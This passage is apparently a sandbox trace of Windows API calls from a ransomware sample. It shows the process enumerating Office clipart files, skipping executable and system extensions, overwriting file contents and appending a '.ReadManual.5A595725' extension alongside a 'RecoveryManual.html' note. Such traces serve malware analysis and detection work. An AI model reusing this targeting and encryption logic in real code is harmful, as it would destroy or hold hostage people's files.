lpString2="RecoveryManual.html") returned -1 [0266.589] StrStrIW (lpFirst="J0107264.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.589] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.589] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.589] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.589] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.589] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.589] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.590] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.590] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" [0266.590] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.ReadManual.5A595725" [0266.590] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.ReadManual.5A595725") returned 87 [0266.590] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38725866081) returned 1 [0266.590] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0266.591] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.591] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5272) returned 1 [0266.591] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1498, lpName=0x0) returned 0x184 [0266.591] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.592] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.592] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.594] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.594] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1498) returned 0x2f0000 [0266.594] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.594] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38726303371) returned 1 [0266.594] CloseHandle (hObject=0x184) returned 1 [0266.594] SetSecurityInfo () returned 0x57 [0266.594] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.595] CloseHandle (hObject=0x194) returned 1 [0266.595] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0266.595] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107266.WMF" | out: lpString1="J0107266.WMF") returned="J0107266.WMF" [0266.595] lstrcmpiW (lpString1="J0107266.WMF", lpString2="RecoveryManual.html") returned -1 [0266.595] StrStrIW (lpFirst="J0107266.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.595] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.595] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.595] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" [0266.595] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.ReadManual.5A595725" [0266.595] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.ReadManual.5A595725") returned 87 [0266.595] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38726402764) returned 1 [0266.595] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0266.596] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.596] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5868) returned 1 [0266.596] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16ec, lpName=0x0) returned 0x184 [0266.596] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.597] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.597] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.598] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.598] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16ec) returned 0x2f0000 [0266.599] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38726741744) returned 1 [0266.599] CloseHandle (hObject=0x184) returned 1 [0266.599] SetSecurityInfo () returned 0x57 [0266.599] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.599] CloseHandle (hObject=0x194) returned 1 [0266.599] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0266.599] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107280.WMF" | out: lpString1="J0107280.WMF") returned="J0107280.WMF" [0266.599] lstrcmpiW (lpString1="J0107280.WMF", lpString2="RecoveryManual.html") returned -1 [0266.599] StrStrIW (lpFirst="J0107280.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.599] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.599] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.600] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" [0266.600] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.ReadManual.5A595725" [0266.600] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.ReadManual.5A595725") returned 87 [0266.600] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38726840847) returned 1 [0266.600] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0266.600] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.600] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11108) returned 1 [0266.600] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b64, lpName=0x0) returned 0x184 [0266.600] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.601] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.601] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.602] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.603] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b64) returned 0x2f0000 [0266.603] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38727172338) returned 1 [0266.603] CloseHandle (hObject=0x184) returned 1 [0266.603] SetSecurityInfo () returned 0x57 [0266.603] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.603] CloseHandle (hObject=0x194) returned 1 [0266.603] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0266.603] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107282.WMF" | out: lpString1="J0107282.WMF") returned="J0107282.WMF" [0266.603] lstrcmpiW (lpString1="J0107282.WMF", lpString2="RecoveryManual.html") returned -1 [0266.603] StrStrIW (lpFirst="J0107282.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.603] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.603] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.603] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.603] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.604] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.604] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" [0266.604] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.ReadManual.5A595725" [0266.604] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.ReadManual.5A595725") returned 87 [0266.604] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38727272514) returned 1 [0266.604] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0266.604] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.604] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14132) returned 1 [0266.604] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3734, lpName=0x0) returned 0x184 [0266.605] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.605] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.605] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.607] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.607] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3734) returned 0x2f0000 [0266.607] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.607] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38727616400) returned 1 [0266.607] CloseHandle (hObject=0x184) returned 1 [0266.608] SetSecurityInfo () returned 0x57 [0266.608] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.608] CloseHandle (hObject=0x194) returned 1 [0266.608] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0266.608] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107288.WMF" | out: lpString1="J0107288.WMF") returned="J0107288.WMF" [0266.608] lstrcmpiW (lpString1="J0107288.WMF", lpString2="RecoveryManual.html") returned -1 [0266.608] StrStrIW (lpFirst="J0107288.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.608] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.608] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.608] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" [0266.608] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.ReadManual.5A595725" [0266.608] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.ReadManual.5A595725") returned 87 [0266.608] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38727717033) returned 1 [0266.608] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0266.609] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.609] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13436) returned 1 [0266.609] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x347c, lpName=0x0) returned 0x184 [0266.609] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.610] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.610] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.612] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.613] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x347c) returned 0x2f0000 [0266.613] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38728160558) returned 1 [0266.613] CloseHandle (hObject=0x184) returned 1 [0266.613] SetSecurityInfo () returned 0x57 [0266.613] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.613] CloseHandle (hObject=0x194) returned 1 [0266.613] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0266.613] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107290.WMF" | out: lpString1="J0107290.WMF") returned="J0107290.WMF" [0266.613] lstrcmpiW (lpString1="J0107290.WMF", lpString2="RecoveryManual.html") returned -1 [0266.613] StrStrIW (lpFirst="J0107290.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.613] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.613] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.613] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.613] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.613] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.613] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.613] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.614] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.614] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" [0266.614] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.ReadManual.5A595725" [0266.614] lstrlenW 